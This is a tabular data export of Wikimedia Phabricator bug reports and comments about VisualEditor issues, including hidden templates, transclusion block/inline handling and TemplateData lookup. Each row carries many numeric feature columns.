+251532,Hidden templates should display as an icon in-page in VisualEditor so they can be interacted with (e.g. a puzzle piece?),"I've seen it a couple of times so far, but not that often. Having said that, we haven't been actively patrolling recentchanges in a while. I'd personally like some kind of resolution pre-IP rollout, because even if it's relatively rare we're throwing sheer numbers at every bug.",,,1373646789,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-fismtah5nhz3jechnxci,task_subcomment,,True,c1,3,False,,,1,,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,0,0,1,0,1,0,0,1,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0
+251526,Hidden templates should display as an icon in-page in VisualEditor so they can be interacted with (e.g. a puzzle piece?),"Oliver and others watching this bug, what's your sense from reviewing changes how often this (accidental deletion of hidden templates) is currently occurring in practice? Knowing this (even if it's anecdata) would help setting priority for this bug.",,,1373610238,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-fismtah5nhz3jechnxci,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,1,0,0,1,0,0,0
+251520,Hidden templates should display as an icon in-page in VisualEditor so they can be interacted with (e.g. a puzzle piece?),"How about this: If the cursor is before or straight after a template, pop the 'puzzle' indicator into view.
+
+You could make it float above the current line, with a droplet (as a sort of cursor) downward pointing at the position where there is a template that is invisible or floating. When you click the icon, move the cursor to be on 'template', blue highlighting the template content if it is not hidden (this will help direct the users eye from cursor position to content) and directly open the template editor.",,,1373225859,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-fismtah5nhz3jechnxci,task_subcomment,,True,c1,3,True,,,0,,0,0,0,0,1,1,1,0,0,1,1,0,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,0,1,0,1,0,1,0,0,1,1,0,0,0,1,0,1,0,1,0,1,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,1,0,1,0,1,1,0,1,0,0,0
+251514,Hidden templates should display as an icon in-page in VisualEditor so they can be interacted with (e.g. a puzzle piece?),"Even with non-hidden, but floating templates it can be confusing. To quote a user:
+
+http://en.wikipedia.org/w/index.php?title=Peach_Springs_Trading_Post&oldid=563257259
+
+I place the cursor to the left of the line that begins ""The Peach Springs Trad...."", just after the malformed comment, then press backspace, in the hopes of starting to delete said malformed content, the entire infobox disappears.  This is quite startling.
+
+Perhaps a warning is required for the short term ? ""Are you sure you want to delete template... ?""",,,1373225304,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-fismtah5nhz3jechnxci,task_subcomment,,True,c1,3,True,,,0,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,1,1,1,0,0,0,1,0,0,0,1,0,1,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,1,1,1,0,1,0,0,0
+251508,Hidden templates should display as an icon in-page in VisualEditor so they can be interacted with (e.g. a puzzle piece?),I have no idea if there /is/ a standard. A good illustration is https://en.wikipedia.org/w/index.php?title=Template:Persondata&action=edit,,,1372445837,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-fismtah5nhz3jechnxci,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,0,1,0,0,0,0,0
+251501,Hidden templates should display as an icon in-page in VisualEditor so they can be interacted with (e.g. a puzzle piece?),"btw What's the standard of ""hidden templates"". Are templates generating <div style=""display:none;"">something</div> hidden, or what about <div class=""hidden"">something</div> when [[MediaWiki:Common.css]] contains .hidden{display:none;} ?",,,1372441452,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-fismtah5nhz3jechnxci,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,1,0,0,1,0,0,1
+251495,Hidden templates should display as an icon in-page in VisualEditor so they can be interacted with (e.g. a puzzle piece?),"A side-effect of this is that it's impossible to maintain good formatting (keep a blank line between metadata and article text, for example) because the content does not exist from an editor's perspective.",,,1371790287,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-fismtah5nhz3jechnxci,task_subcomment,,True,c1,2,False,,,-2,,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+251491,Hidden templates should display as an icon in-page in VisualEditor so they can be interacted with (e.g. a puzzle piece?),"Template:Clear is also a good example of this. Although it doesn't even display as a carriage return. You can insert the template, and then it complete disappears.",,,1371755069,,PHID-USER-evwol34rsld7viokxokd,False,,,PHID-TASK-fismtah5nhz3jechnxci,task_subcomment,,True,c1,2,False,,,-2,,0,0,0,0,1,1,1,0,1,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+51784,VisualEditor: Transclusion nodes should re-evaluate their block/inline status on every update,"Especially important for newly inserted ones, as at the moment we have no idea what they are going to be so we just assume inline.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Medium,50.0,1371595680,1463387195.0,PHID-USER-it53o2f2kyryqyj33uzt,False,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-pyjlzzqqrcxthunhdjxd,task_description,resolved,True,c1,2,True,False,False,-2,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0
+662704,VisualEditor: Transclusion nodes should re-evaluate their block/inline status on every update,"Change 288813 merged by jenkins-bot:
+[BREAKING CHANGE] Evalute block/inline state when inserting a transclusion node
+
+[[https://gerrit.wikimedia.org/r/288813]]",,,1463387273,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-pyjlzzqqrcxthunhdjxd,task_subcomment,,True,c1,3,False,,,150,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,1,1,0,1,0,0,1
+662528,VisualEditor: Transclusion nodes should re-evaluate their block/inline status on every update,"Change 288813 had a related patch set uploaded (by Esanders):
+[BREAKING CHANGE] Evalute block/inline state when inserting a transclusion node
+
+[[https://gerrit.wikimedia.org/r/288813]]
+",,,1463310979,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-pyjlzzqqrcxthunhdjxd,task_subcomment,,True,c1,3,False,,,149,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,1,1,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,1,1,0,1,0,0,1
+250142,VisualEditor: Transclusion nodes should re-evaluate their block/inline status on every update,*** Bug 72045 has been marked as a duplicate of this bug. ***,,,1413312100,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-pyjlzzqqrcxthunhdjxd,task_subcomment,,True,c1,3,True,,,67,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+250138,VisualEditor: Transclusion nodes should re-evaluate their block/inline status on every update,"Inez talked to me about this long-standing problem today. He worked on a solution that involves waiting for the preview to come back before inserting the template, displaying a spinner in the meantime. His code is at https://github.com/Wikia/app/pull/4932/files . It looks a bit rough and it only deals with insertion, but I think the general approach could work out pretty well. If nothing else, it could be a stop-gap until we have collaborative editing and having a transclusion reevaluate its type asynchronously would not be a big deal.",,,1412202934,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-pyjlzzqqrcxthunhdjxd,task_subcomment,,True,c1,3,False,,,65,,0,0,0,0,1,1,1,0,0,1,1,0,0,1,0,1,0,1,1,1,1,0,0,0,1,0,0,0,1,1,0,1,1,1,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,1,0,1,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,1,1,0,0,0
+250134,VisualEditor: Transclusion nodes should re-evaluate their block/inline status on every update,*** Bug 52032 has been marked as a duplicate of this bug. ***,,,1395357259,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-pyjlzzqqrcxthunhdjxd,task_subcomment,,True,c1,3,True,,,37,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+250130,VisualEditor: Transclusion nodes should re-evaluate their block/inline status on every update,"(In reply to comment #5)
+> Parsoid says they now have a public wt2html API that we can use instead of
+> action=parse. That would at least allow use to let Parsoid determine whether
+> it
+> is inline or block (instead of sniffing the html result, though that's fairly
+> trivial, just <span> vs. everything else, right? Maybe a few other inline
+> elements nodes that we use, or do we wrap them all?)
+> 
+> However we still need to then find a way to swap the data model node instance
+> in that case. (..)
+
+From ve.dm.MWTransclusionBlockNode to ve.dm.MWTransclusionInlineNode or visa versa.",,,1386022898,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-pyjlzzqqrcxthunhdjxd,task_subcomment,,True,c1,3,True,,,22,,1,1,0,0,0,1,1,0,1,0,1,1,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,1,1,0,1,1,1,1,0,0,0,0,1,0,1,1,1,0,1,1,0,0,1,1,1,0,1,1,0,0,0,0,0,1,0,1,1,1,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,1,1,1,0,1,1
+250124,VisualEditor: Transclusion nodes should re-evaluate their block/inline status on every update,"Parsoid says they now have a public wt2html API that we can use instead of action=parse. That would at least allow use to let Parsoid determine whether it is inline or block (instead of sniffing the html result, though that's fairly trivial, just <span> vs. everything else, right? Maybe a few other inline elements nodes that we use, or do we wrap them all?)
+
+However we still need to then find a way to swap the data model node instance in that case. Having 1 datamodel type would be nice indeed. We could make it similar to extension tags in that templates have their own class, but it wouldn't be specific to an element type, we can still swap it dynamically (just like we can change lists from UL to OL).",,,1386022755,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-pyjlzzqqrcxthunhdjxd,task_subcomment,,True,c1,3,True,,,22,,1,1,0,0,1,1,1,0,1,0,1,1,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,1,1,0,1,1,1,1,0,0,0,0,1,0,1,1,1,0,1,1,0,0,1,1,1,0,1,1,0,0,0,0,1,1,1,1,1,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,1,1,1,1,0,1,1
+250117,VisualEditor: Transclusion nodes should re-evaluate their block/inline status on every update,*** Bug 50610 has been marked as a duplicate of this bug. ***,,,1385375646,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-pyjlzzqqrcxthunhdjxd,task_subcomment,,True,c1,3,True,,,21,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+250109,VisualEditor: Transclusion nodes should re-evaluate their block/inline status on every update,*** Bug 54893 has been marked as a duplicate of this bug. ***,,,1380746310,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-pyjlzzqqrcxthunhdjxd,task_subcomment,,True,c1,3,True,,,13,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+250099,VisualEditor: Transclusion nodes should re-evaluate their block/inline status on every update,%%%*** Bug 50363 has been marked as a duplicate of this bug. ***%%%,,,1375118083,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-pyjlzzqqrcxthunhdjxd,task_subcomment,,True,c1,3,False,,,4,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,1,1,0,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0
+250089,VisualEditor: Transclusion nodes should re-evaluate their block/inline status on every update,"Possible solution may involve removing distinction between block & inline transclusion types in the DM, replacing with hybrid type, and have CE work out how to render it properly.",,,1371595810,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-pyjlzzqqrcxthunhdjxd,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0
+51778,VisualEditor: Template dialog should look up TemplateData for newly-added templates,"Currently in the template dialog when you insert a new template (or other transclusion) it doesn't look up TemplateData for said template (but re-uses if available). It should.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Medium,50.0,1371592380,1372553711.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-4ea4xsfwmbsq76ri4xgj,task_description,resolved,True,c1,2,True,False,True,-2,,0,0,0,0,1,1,0,0,0,1,1,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0
+249765,VisualEditor: Template dialog should look up TemplateData for newly-added templates,"Seems to have been some cache issues, because it seems to be fine now",,,1372553711,,PHID-USER-2mkpm2voxepwvz7abjug,True,,,PHID-TASK-4ea4xsfwmbsq76ri4xgj,task_subcomment,,True,c1,2,False,,,-1,,1,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+249758,VisualEditor: Template dialog should look up TemplateData for newly-added templates,"(In reply to comment #5)
+> Testing on beta, which is using 1.22alpha (3c4aac9) the issue seems to
+
+This is mediawiki-core. VisualEditor at beta.wmflabs should be currently at f8d2f14 (latest; including merged commit) after Reedy manually updated it (again).",,,1372548881,,PHID-USER-jcypqodpdpbcicgwgh7j,True,,,PHID-TASK-4ea4xsfwmbsq76ri4xgj,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,0,1,1,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,0,0,1,0,1,1
+249750,VisualEditor: Template dialog should look up TemplateData for newly-added templates,"Testing on beta, which is using 1.22alpha (3c4aac9) the issue seems to persist:
+
+First I make a new template instance and file one parameter:
+http://i.imgur.com/69K7IcD.png
+
+Notice the lack of information
+
+Next I apply changes, and open the template dialog again, and following is shown:
+http://i.imgur.com/hV8rqag.png",,,1372547853,,PHID-USER-2mkpm2voxepwvz7abjug,True,,,PHID-TASK-4ea4xsfwmbsq76ri4xgj,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0
+249745,VisualEditor: Template dialog should look up TemplateData for newly-added templates,Done in the above commit.,,,1372462774,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-4ea4xsfwmbsq76ri4xgj,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+249740,VisualEditor: Template dialog should look up TemplateData for newly-added templates,"Change 71132 merged by jenkins-bot:
+Use template data for new templates and fix alias bug
+
+https://gerrit.wikimedia.org/r/71132",,,1372462602,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-4ea4xsfwmbsq76ri4xgj,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+249735,VisualEditor: Template dialog should look up TemplateData for newly-added templates,"Change 71132 had a related patch set uploaded by Trevor Parscal:
+Use template data for new templates
+
+https://gerrit.wikimedia.org/r/71132",,,1372455529,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-4ea4xsfwmbsq76ri4xgj,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+249729,VisualEditor: Template dialog should look up TemplateData for newly-added templates,"Any movement on this? I note the milestone was yesterday's deploy (if it went out but got reverted with the wmf7 problems, ignore me).",,,1372411786,,PHID-USER-j5ma2nageni56xp567v5,True,,,PHID-TASK-4ea4xsfwmbsq76ri4xgj,task_subcomment,,True,c1,2,False,,,-1,,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,0,0,1,0,0,0,0
+51767,"VisualEditor: Images, when resized, appear on top of (rather than underneath) other UI elements","Screenshot
+
+See associated screenshot.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+
+**Attached**: {F11694}",Medium,50.0,1371583860,1372016119.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-sbmvrc3jz243m2e4aqmd,task_description,resolved,True,c1,2,False,False,True,-2,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+249229,"VisualEditor: Images, when resized, appear on top of (rather than underneath) other UI elements","Now fixed, I believe.",,,1372016119,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-sbmvrc3jz243m2e4aqmd,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0
+51761,VisualEditor: Provide an easy way to sanity-check VE input / output behavior,"In the investigation of most round-tripping bugs we need to figure out if VE modified the DOM in unexpected ways or Parsoid had issues in handling an unmodified DOM. 
+
+We need an easy way to display both the original HTML string retrieved by VE and a serialization of the modified HTML the VE sends out, possibly popped up in two textareas on some keybinding for easy copying.
+
+This would at least allow basic manual debugging.
+
+Optionally, as a time saver, it would be nice if you could also output a DOM diff that makes it easy to spot DOM differences. You could probably base this on the Parsoid DOMDiff module. This DOM diff can also be used in sanity checks to automatically detect VE round-trip issues.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Medium,50.0,1371579720,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,False,PHID-TASK-2nqdcy26wu7c3ct3pti6,task_description,open,True,c1,2,True,False,,-2,,1,0,0,1,0,1,1,0,0,1,1,0,0,0,0,1,1,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,1,1,0,1,0,0,1,1,0,0,0,1,0,1,0,1,0,1,1,1,0,1,0,1,0,1,0,0,0,1,1,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,0
+51754,VisualEditor: Rename [big|small]Stack variables in ve.dm.Surface,"To something which describes their function, not form.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1371571320,1386737312.0,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-vaw5sbbofozchqbqlxfo,task_description,resolved,True,c1,2,True,False,False,-2,,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0
+248379,VisualEditor: Rename [big|small]Stack variables in ve.dm.Surface,"Change 100313 merged by jenkins-bot:
+Rename big/small stack to undoStack & newTransactions
+
+https://gerrit.wikimedia.org/r/100313",,,1386729691,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vaw5sbbofozchqbqlxfo,task_subcomment,,True,c1,3,False,,,23,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+248370,VisualEditor: Rename [big|small]Stack variables in ve.dm.Surface,"Change 100313 had a related patch set uploaded by Esanders:
+Rename big/small stack to undoStack & newTransactions
+
+https://gerrit.wikimedia.org/r/100313",,,1386534617,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vaw5sbbofozchqbqlxfo,task_subcomment,,True,c1,3,False,,,22,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+51725,VisualEditor: You can't select text in the save dialog,"You really should be able to. I mean, the cursor pointer triggers and everything. Tsk.
+
+(Actually, it's ignoring all clicks that aren't on the buttons, or so it seems.)
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor",Medium,50.0,1371521220,1371775703.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-jdjfrc2gvkcmr2dyxdhz,task_description,resolved,True,c1,2,True,False,True,-2,,1,1,0,0,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,1,0,0,0,0,1,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0
+246790,VisualEditor: You can't select text in the save dialog,This was fixed in wmf8.,,,1371775703,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-jdjfrc2gvkcmr2dyxdhz,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+51682,VisualEditor: Link duplicated,"Screenshot
+
+See associated screenshot, from the page https://en.wikipedia.org/wiki/Henkle_v._Gregory
+
+Reproduced in Chrome, Safari and Firefox.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+
+**Attached**: {F11483}",Medium,50.0,1371465120,1372863371.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-isdw3zrrbc3uvww3ghe4,task_description,resolved,True,c1,2,False,False,True,-2,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
